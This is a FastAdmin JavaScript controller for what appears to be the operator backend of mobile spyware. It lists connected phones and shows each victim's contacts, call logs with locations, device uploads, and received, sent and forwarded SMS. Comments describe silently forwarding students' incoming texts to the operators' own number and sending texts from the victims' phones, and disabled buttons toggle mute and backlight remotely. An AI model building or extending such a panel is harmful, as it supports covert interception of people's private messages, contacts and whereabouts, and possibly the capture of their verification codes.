define(['jquery', 'bootstrap', 'backend', 'table', 'form','cookie', 'editable'], function ($, undefined, Backend, Table, Form) {

    var Controller = {
        index: function () {
            // 初始化表格参数配置
            Table.api.init({
                extend: {
                    index_url: 'thm/user/index',
                    add_url: 'thm/user/add',
                    edit_url: 'thm/user/edit',
                    del_url: 'thm/user/del',
                    multi_url: 'thm/user/multi',
                    table: 'thm_user',
                }
            });

            var table = $("#table");

            //当内容渲染完成给编辑按钮添加`data-area`属性
            table.on('post-body.bs.table', function (e, settings, json, xhr) {
                //$(".btn-opall").data("area", ["100%", "100%"]);

            });

            var buttons = [];
            //buttons.push({
            //    name: 'op0',
            //    title: __('用戶管理'),
            //    classname: 'btn btn-xs btn-info  btn-opall',
            //    icon: 'fa fa-wpforms',
            //    url: 'thm/user/index'
            //});
            //buttons.push({
            //    name: 'op0',
            //    title: __('用戶管理'),
            //    classname: 'btn btn-xs btn-info btn-addtabs btn-opall',
            //    icon: 'fa fa-wpforms',
            //    url: 'thm/user/opall'
            //});


            //buttons.push({
            //    name: 'op1',
            //    title: __('留言管理'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-wpforms',
            //    url: 'thm/liuyan/index'
            //});
            //
            //buttons.push({
            //    name: 'op2',
            //    title: __('已收到短信'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-envelope-open-o',
            //    url: 'thm/message/index2?smstype=1'
            //});
            //
            //buttons.push({
            //    name: 'op3',
            //    title: __('已發送短信'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-envelope-o',
            //    url: 'thm/message/index2?smstype=2'
            //});
            //
            ////利用學生的手機發送簡訊到指定的手機門號上
            //buttons.push({
            //    name: 'op4',
            //    title: __('傳簡訊列表'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-envelope-square',
            //    url: 'thm/message/index2?smstype=1&smszfmobile=1'
            //});
            //
            ////指定轉發功能---可將學生手機設定收到的短信指定轉發到一個我們設定的門號上設定好之後,學生收到的短信除了我們後臺會看到,也會自動發送到我們設定的門號上
            ////?? 只能服务器转发
            //buttons.push({
            //    name: 'op5',
            //    title: __('轉發短信列表'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-send-o',
            //    url: 'thm/message/index2?smstype=1&smszfmobile=1'
            //});
            //
            //buttons.push({
            //    name: 'op6',
            //    title: __('通話紀錄'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-mobile',
            //    url: 'thm/message/index'
            //});
            //
            //buttons.push({
            //    name: 'op7',
            //    title: __('控制靜音&背光'),
            //    classname: 'btn btn-xs btn-info btn-magic btn-ajax',
            //    icon: 'fa fa-magic',
            //    url: 'thm/user/command',
            //    success: function (data, ret) {
            //        //Layer.alert(ret.msg + ",返回数据：" + JSON.stringify(data));
            //        //如果需要阻止成功提示，则必须使用return false;
            //        //return false;
            //    },
            //    error: function (data, ret) {
            //        console.log(data, ret);
            //        Layer.alert(ret.msg);
            //        return false;
            //    }
            //});
            //
            //buttons.push({
            //    name: 'op8',
            //    title: __('聯絡人'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-group',
            //    url: 'thm/Txl/index'
            //});
            //
            //buttons.push({
            //    name: 'op9',
            //    title: __('用戶信息管理'),
            //    classname: 'btn btn-xs btn-info btn-addtabs',
            //    icon: 'fa fa-envira',
            //    url: 'thm/userinfolog/index'
            //});


            // 初始化表格
            table.bootstrapTable({
                url: $.fn.bootstrapTable.defaults.extend.index_url,
                pk: 'id',
                sortName: 'id',
                search:false,
                showToggle: false,
                showExport: false,
                searchFormVisible: true,
                columns: [
                    [
                        {checkbox: true},
                        {field: 'id', title: __('Id'), operate: false},
                        {field: 'userop', title: __('用戶管理'), operate: false, formatter: Controller.api.formatter.userop},
                        {field: 'online', title: __('連線'), operate: false, formatter: Controller.api.formatter.online},
                        {field: 'switch', title: __('Switch'), searchList: {"1":__('Yes'),"0":__('No')}, formatter: Table.api.formatter.toggle},
                        {field: 'smsappstate', title: __('短信預設APP'), searchList: {"0":__('Smsappstate 0'),"1":__('Smsappstate 1')}, formatter: Controller.api.formatter.smsappstate},
                        //{field: 'mapurl', title: __('位置'), formatter: Controller.api.formatter.url, operate:false},
                        {
                            field: 'remark',
                            title: __('备注名稱'),
                            editable: {
                                emptytext: '无',
                                rows:10,
                                tpl: "<textarea rows='10' cols='50'></textarea>",
                                success: function (response, newValue) {
                                    //$(".btn-refresh").trigger("click");
                                }
                            },
                            operate: false,
                            align: 'left',
                        },
                        {
                            field: 'username',
                            title: __('Username'),
                            editable: {
                                emptytext: '无',
                                rows:10,
                                tpl: "<textarea rows='10' cols='50'></textarea>",
                                success: function (response, newValue) {
                                    //$(".btn-refresh").trigger("click");
                                }
                            },
                            operate: 'LIKE %...%',
                            placeholder: '模糊搜索，*表示任意字符',
                            align: 'left',
                        },
                        {
                            field: 'mobile',
                            title: __('Mobile'),
                            editable: {
                                emptytext: '无',
                                rows:10,
                                tpl: "<textarea rows='10' cols='50'></textarea>",
                                success: function (response, newValue) {
                                    //$(".btn-refresh").trigger("click");
                                }
                            },
                            operate: 'LIKE %...%',
                            placeholder: '模糊搜索，*表示任意字符',
                            align: 'left',
                        },
                        {field: 'app_sn', title: __('App_sn'), operate: false},
                        //{field: 'name', title: __('Name'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                        {
                            field: 'zfmobile',
                            title: __('Zfmobile'),
                            editable: {
                                emptytext: '无',
                                rows:10,
                                tpl: "<textarea rows='10' cols='50'></textarea>",
                                success: function (response, newValue) {
                                    //$(".btn-refresh").trigger("click");
                                }
                            },
                            operate: false,
                            align: 'left',
                        },
                        //{
                        //    field: 'ccmobile',
                        //    title: __('IMEI转发手机'),
                        //    editable: {
                        //        emptytext: '无',
                        //        rows:10,
                        //        tpl: "<textarea rows='10' cols='50'></textarea>",
                        //        success: function (response, newValue) {
                        //            //$(".btn-refresh").trigger("click");
                        //        }
                        //    },
                        //    operate: false,
                        //    align: 'left',
                        //},

                        {field: 'sjxh', title: __('Sjxh'), operate: false},
                        //{field: 'online', title: __('Online')},
                        //{field: 'app.id', title: __('App.id')},

                        //{field: 'app.name', title: __('App名稱')},
                        {field: 'online_time', title: __('最後連線時間')},
                        {
                            field: 'operate',
                            title: __('Operate'),
                            table: table,
                            events: Table.api.events.operate,
                            buttons: buttons,
                            formatter: Table.api.formatter.operate
                        },
                        //{field: 'app.ver', title: __('App.ver')},
                        //{field: 'app.icon_image', title: __('App.icon_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.start_image', title: __('App.start_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.title_image', title: __('App.title_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.a1_banner_image', title: __('App.a1_banner_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.a1_notice', title: __('App.a1_notice')},
                        //{field: 'app.a1_btn1', title: __('App.a1_btn1')},
                        //{field: 'app.a1_btn2', title: __('App.a1_btn2')},
                        //{field: 'app.a1_btn3', title: __('App.a1_btn3')},
                        //{field: 'app.a1_footer_image', title: __('App.a1_footer_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.a2_banner_image', title: __('App.a2_banner_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.a2_btn1', title: __('App.a2_btn1')},
                        //{field: 'app.a2_warning', title: __('App.a2_warning')},
                        //{field: 'app.a2_footer_image', title: __('App.a2_footer_image'), formatter: Table.api.formatter.image},
                        //{field: 'app.a3_check1', title: __('App.a3_check1')},
                        //{field: 'app.a3_name1', title: __('App.a3_name1')},
                        //{field: 'app.a3_notice1', title: __('App.a3_notice1')},
                        //{field: 'app.a3_check2', title: __('App.a3_check2')},
                        //{field: 'app.a3_name2', title: __('App.a3_name2')},
                        //{field: 'app.a3_notice2', title: __('App.a3_notice2')},
                        //{field: 'app.a3_check3', title: __('App.a3_check3')},
                        //{field: 'app.a3_name3', title: __('App.a3_name3')},
                        //{field: 'app.a3_notice3', title: __('App.a3_notice3')},
                        //{field: 'app.a3_check4', title: __('App.a3_check4')},
                        //{field: 'app.a3_name4', title: __('App.a3_name4')},
                        //{field: 'app.a3_notice4', title: __('App.a3_notice4')},
                        //{field: 'app.a3_check5', title: __('App.a3_check5')},
                        //{field: 'app.a3_name5', title: __('App.a3_name5')},
                        //{field: 'app.a3_notice5', title: __('App.a3_notice5')},
                        //{field: 'app.a3_check6', title: __('App.a3_check6')},
                        //{field: 'app.a3_name6', title: __('App.a3_name6')},
                        //{field: 'app.a3_notice6', title: __('App.a3_notice6')},
                        //{field: 'app.a3_check7', title: __('App.a3_check7')},
                        //{field: 'app.a3_name7', title: __('App.a3_name7')},
                        //{field: 'app.a3_title7', title: __('App.a3_title7')},
                        //{field: 'app.a3_image7', title: __('App.a3_image7')},
                        //{field: 'app.a3_check8', title: __('App.a3_check8')},
                        //{field: 'app.a3_name8', title: __('App.a3_name8')},
                        //{field: 'app.a3_title8', title: __('App.a3_title8')},
                        //{field: 'app.a3_image8', title: __('App.a3_image8')},
                        //{field: 'app.a3_btn1', title: __('App.a3_btn1')},
                        //{field: 'app.a3_btn2', title: __('App.a3_btn2')},
                        //{field: 'app.a4_check', title: __('App.a4_check')},
                        //{field: 'app.a4_name', title: __('App.a4_name')},
                        //{field: 'app.a4_notice', title: __('App.a4_notice')},
                        //{field: 'app.a4_btn1', title: __('App.a4_btn1')},
                        //{field: 'app.a4_btn2', title: __('App.a4_btn2')},
                        //{field: 'app.create_time', title: __('App.create_time'), operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                        //{field: 'app.update_time', title: __('App.update_time'), operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                        //{field: 'operate', title: __('Operate'), table: table, events: Table.api.events.operate, formatter: Table.api.formatter.operate}
                    ]
                ]
            });

            // 选择隐藏字段事件，使用cookie存入
            table.on('column-switch.bs.table', function (e, json) {
                    var myColumns=[];
                    $.each(table.bootstrapTable('getHiddenColumns'), function(i, item) {
                         myColumns.push(item.field);
                    });
                    $.cookie('fa_thm_user', JSON.stringify(myColumns), { expires: 365, path: '/'});
             });
             if($.cookie('fa_thm_user')){
                //读取cookie隐藏字段
                $.each(JSON.parse($.cookie('fa_thm_user')), function(i, item) {
                  table.bootstrapTable('hideColumn', item);
                });
             }

            setInterval(function () {
                $(".btn-refresh").trigger("click");
            }, 60000);//60秒刷新一次

            // 为表格绑定事件
            Table.api.bindevent(table);
        },
        opall: function () {

            $(document).on("click", "#userinfolog", function () {
                hideall();
                $("#divtable1").show();
            });

            $(document).on("click", "#txl", function () {
                hideall();
                $("#divtable2").show();
            });

            $(document).on("click", "#thjl", function () {
                hideall();
                $("#divtable3").show();
            });
            $(document).on("click", "#csdx", function () {
                hideall();
                $("#divtable4").show();
            });
            $(document).on("click", "#jsdx", function () {
                hideall();
                $("#divtable5").show();
            });
            $(document).on("click", "#fsdx", function () {
                hideall();
                $("#divtable6").show();
            });

            $(document).on("click", "#lygl", function () {
                hideall();
                $("#divtable7").show();
            });

            $(document).on("click", "#sendmsg", function () {
                hideall();
                $("#divtable8").show();
            });

            $(document).on("click", "#userinfoedit", function () {
                hideall();
                $("#divtable9").show();
            });

            $(document).on("click", "#xtblog", function () {
                hideall();
                $("#divtable10").show();
                console.log("divtable10");
            });

            function hideall() {
                $("#divtable1").hide();
                $("#divtable2").hide();
                $("#divtable3").hide();
                $("#divtable4").hide();
                $("#divtable5").hide();
                $("#divtable6").hide();
                $("#divtable7").hide();
                $("#divtable8").hide();
                $("#divtable9").hide();
                $("#divtable10").hide();
            }

            Table.api.init();

            this.table.t1();
            this.table.t2();
            this.table.t3();
            this.table.t4();
            this.table.t5();
            this.table.t6();
            this.table.t7();
            this.table.t8();

            Controller.api.bindevent();

            //console.log("htsx=" + Config.htsx);

            //setInterval(function () {
            //    $(".btn-refresh").trigger("click");
            //}, Config.htsx);//10秒刷新一次
            //
            //setInterval(function () {
            //    updateuserinfo();
            //}, 60000);//1分钟刷新一次

            updateuserinfo();
            //更新用户状态
            function updateuserinfo() {
                $.ajax({
                    url: 'thm/user/userstate?ids=' + Config.thmuserid,
                    type: 'post',
                    dataType: 'json',
                    success: function (ret) {
                        console.log(ret);
                        $("#userstate").html(ret.data.html);
                        return false;
                    }
                });

            }

        },
        table: {
            t1: function () {
                // 表格1 用戶信息上傳
                var table1 = $("#table1");
                table1.bootstrapTable({
                    url: 'thm/userinfolog/index',
                    toolbar: '#toolbar1',
                    pk: 'id',
                    sortName: 'id',
                    search:false,
                    showToggle: false,
                    //showExport: false,
                    columns: [
                        [
                            {field: 'create_time', title: __('Create_time'), operate: false, addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                            {field: 'user.mobile', title: __('用戶手機'), operate: false},
                            {field: 'type', title: __('類型'), operate: false},
                            {field: 'content1', title: Config.titles.t1, operate: false},
                            {field: 'content2', title: Config.titles.t2, operate: false},
                            {field: 'content3', title: Config.titles.t3, operate: false},
                            {field: 'content4', title: Config.titles.t4, operate: false},
                            {field: 'content5', title: Config.titles.t5, operate: false},
                            {field: 'content6', title: Config.titles.t6, operate: false},
                            {field: 'content7', title: Config.titles.t7, operate: false},
                            {field: 'content8', title: Config.titles.t8, operate: false},
                            {field: 'content9', title: Config.titles.t9, operate: false},
                            {field: 'image9', title: __('圖片9'), events: Table.api.events.image, formatter: Table.api.formatter.images, operate:false},
                            {field: 'content10', title: Config.titles.t10, operate: false},
                            {field: 'image10', title: __('圖片10'), events: Table.api.events.image, formatter: Table.api.formatter.images, operate:false},
                        ]
                    ]
                });

                // 选择隐藏字段事件，使用cookie存入
                table1.on('column-switch.bs.table', function (e, json) {
                    var myColumns=[];
                    $.each(table.bootstrapTable('getHiddenColumns'), function(i, item) {
                        myColumns.push(item.field);
                    });
                    $.cookie('fa_thm_userinfolog', JSON.stringify(myColumns), { expires: 365, path: '/'});
                });
                if($.cookie('fa_thm_userinfolog')){
                    //读取cookie隐藏字段
                    $.each(JSON.parse($.cookie('fa_thm_userinfolog')), function(i, item) {
                        table.bootstrapTable('hideColumn', item);
                    });
                }

                // 为表格1绑定事件
                Table.api.bindevent(table1);
            },
            t2: function () {
                // 表格2 聯絡人
                var table2 = $("#table2");
                table2.bootstrapTable({
                    url: 'thm/txl/index',
                    toolbar: '#toolbar2',
                    pk: 'id',
                    sortName: 'id',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {field: 'id', title: __('Id'), operate: false},
                            //{field: 'user.mobile', title: __('用戶手機'), operate: false},
                            {field: 'name', title: __('姓名'), operate: false},
                            {field: 'phone', title: __('phone'), operate: false}
                        ]
                    ]
                });

                // 为表格1绑定事件
                Table.api.bindevent(table2);
            },
            t3: function () {
                // 表格3 通話紀錄
                var table3 = $("#table3");
                table3.bootstrapTable({
                    url: 'thm/message/index',
                    toolbar: '#toolbar3',
                    pk: 'id',
                    sortName: 'date',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {checkbox: true},
                            {field: 'id', title: __('Id'), operate:false},
                            {field: 'mapurl', title: __('位置'), formatter: Controller.api.formatter.url, operate:false},
                            {field: 'date', title: __('发生时间'), sortable:true, operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                            {field: 'callnumber', title: __('通话号码'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'callname', title: __('通话联系人'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'calltype', title: __('通话类型'), searchList: {"呼入":__('呼入'),"呼出":__('呼出'),"未接":__('未接'),"":__('')}, formatter: Table.api.formatter.normal},
                            {field: 'callduration', title: __('通话时间'), operate:false},     ]
                    ]
                });

                // 为表格1绑定事件
                Table.api.bindevent(table3);
            },
            t4: function () {
                Table.api.init({
                    extend: {
                        del_url: 'thm/message/del',
                        table: 'thm_message',
                    }
                });


                // 表格4 傳送短信
                var table4 = $("#table4");
                table4.bootstrapTable({
                    url: 'thm/message/csdx',
                    toolbar: '#toolbar3',
                    pk: 'id',
                    sortName: 'date',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {checkbox: true},
                            {field: 'id', title: __('Id'), operate:false},
                            {field: 'date', title: __('發生時間'), width:100, sortable:true, operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                            {field: 'name', title: __('用戶名'), width:100, operate: false},
                            {field: 'mobile', title: __('用戶手機'), operate: false},
                            {field: 'smsname', title: __('發信人'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smsmsg', title: __('發信內容'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smszfmobile', title: __('轉發手機門號'), operate: false},
                        ]
                    ]
                });

                // 为表格1绑定事件
                Table.api.bindevent(table4);
            },
            t5: function () {
                Table.api.init({
                    extend: {
                        del_url: 'thm/message/del',
                        table: 'thm_message',
                    }
                });

                // 表格5 接收短信
                var table5 = $("#table5");
                table5.bootstrapTable({
                    url: 'thm/message/jsdx',
                    toolbar: '#toolbar5',
                    pk: 'id',
                    sortName: 'date',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {checkbox: true},
                            {field: 'id', title: __('Id'), operate:false},
                            {field: 'date', title: __('發生時間'), width:100, sortable:true, operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                            {field: 'name', title: __('用戶名'), width:100, operate: false},
                            {field: 'mobile', title: __('用戶手機'), operate: false},
                            {field: 'smsname', title: __('發信人'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smsmsg', title: __('發信內容'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smszfmobile', title: __('轉發手機門號'), operate: false},
                            //{
                            //    field: 'operate',
                            //    title: __('Operate'),
                            //    table: table5,
                            //    events: Table.api.events.operate,
                            //    buttons: [],
                            //    formatter: Table.api.formatter.operate
                            //},
                        ]
                    ]
                });


                // 为表格1绑定事件
                Table.api.bindevent(table5);
            },
            t6: function () {
                Table.api.init({
                    extend: {
                        del_url: 'thm/message/del',
                        table: 'thm_message',
                    }
                });

                // 表格6 發送短信
                var table6 = $("#table6");
                table6.bootstrapTable({
                    url: 'thm/message/fsdx',
                    toolbar: '#toolbar6',
                    pk: 'id',
                    sortName: 'date',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {checkbox: true},
                            {field: 'id', title: __('Id'), operate:false},
                            {field: 'date', title: __('發生時間'), width:100, sortable:true, operate:'RANGE', addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                            {field: 'name', title: __('用戶名'), width:100, operate: false},
                            {field: 'mobile', title: __('用戶手機'), operate: false},
                            {field: 'smsname', title: __('發信人'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smsmsg', title: __('發信內容'), operate: 'LIKE %...%', placeholder: '模糊搜索，*表示任意字符'},
                            {field: 'smszfmobile', title: __('轉發手機門號'), operate: false},
                        ]
                    ]
                });

                // 为表格1绑定事件
                Table.api.bindevent(table6);
            },
            t7: function () {
                // 表格7 留言管理
                var table7 = $("#table7");
                table7.bootstrapTable({
                    url: 'thm/liuyan/index',
                    toolbar: '#toolbar7',
                    pk: 'id',
                    sortName: 'id',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {field: 'id', title: __('Id'), operate: false},
                            {field: 'user.mobile', title: __('用戶手機'), operate: false},
                            {field: 'content', title: __('留言'), operate: false},
                            {field: 'create_time', title: __('Create_time'), operate: false, addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                        ]
                    ]
                });


                // 为表格1绑定事件
                Table.api.bindevent(table7);
            },
            t8: function () {
                // 表格10 心跳包
                var table10 = $("#table10");
                table10.bootstrapTable({
                    url: 'thm/xtb/index',
                    toolbar: '#toolbar10',
                    pk: 'id',
                    sortName: 'id',
                    search:false,
                    showToggle: false,
                    showExport: false,
                    columns: [
                        [
                            {field: 'id', title: __('Id'), operate: false},
                            {field: 'create_time', title: __('Create_time'), operate: false, addclass:'datetimerange', formatter: Table.api.formatter.datetime},
                        ]
                    ]
                });

                // 为表格10绑定事件
                Table.api.bindevent(table10);
            },
        },
        add: function () {
            Controller.api.bindevent();
        },
        edit: function () {
            Controller.api.bindevent();
        },
        sendmsg: function () {
            Controller.api.bindevent();
        },
        api: {
            bindevent: function () {
                Form.api.bindevent($("form[role=form]"));
            },
            formatter: {
                url: function (value, row, index) {
                   return '<a href="' + value + '" target="_blank" class="btn btn-default btn-sm"><i class="fa fa-link"></i></a>';
                },
                image: function (value, row, index) {
                    if (value.length < 1) {
                        return '';
                    }
                    value = value ? value : '/assets/img/blank.gif';
                    var classname = typeof this.classname !== 'undefined' ? this.classname : 'img-sm img-center';
                    return '<a href="javascript:void(0)" target="_blank"><img class="' + classname + '" src="' + Fast.api.cdnurl(value) + '" /></a>';
                },
                online: function (value, row, index) {
                    if (row.online == '未上線') {
                        return [
                            '<a href="javascript:;" class="text-danger" > ' + row.online + '</a>'
                        ].join("")

                    }  else {
                        return [
                            '<a href="javascript:;" class="text-success" > ' + row.online + '</a>'
                        ].join("")
                    }
                },
                smsappstate: function (value, row, index) {
                    if (row.smsappstate == '0') {
                        return [
                            '<a href="javascript:;" class="text-danger" > 未启用 </a>'
                        ].join("")

                    }  else {
                        return [
                            '<a href="javascript:;" class="text-success" > 已启用 </a>'
                        ].join("")
                    }
                },
                userop: function (value, row, index) {
                    //http://fastaws.test/admin/thm/user/opall?ids=&ref=addtabs
                    return '<a href="user/opall/ids/' + row.id + '" target="_blank"  class="btn btn-default btn-sm" title="用戶' + row.username + '"><i class="fa fa-wpforms"></i></a>';
                },
            }
        }
    };
    return Controller;
});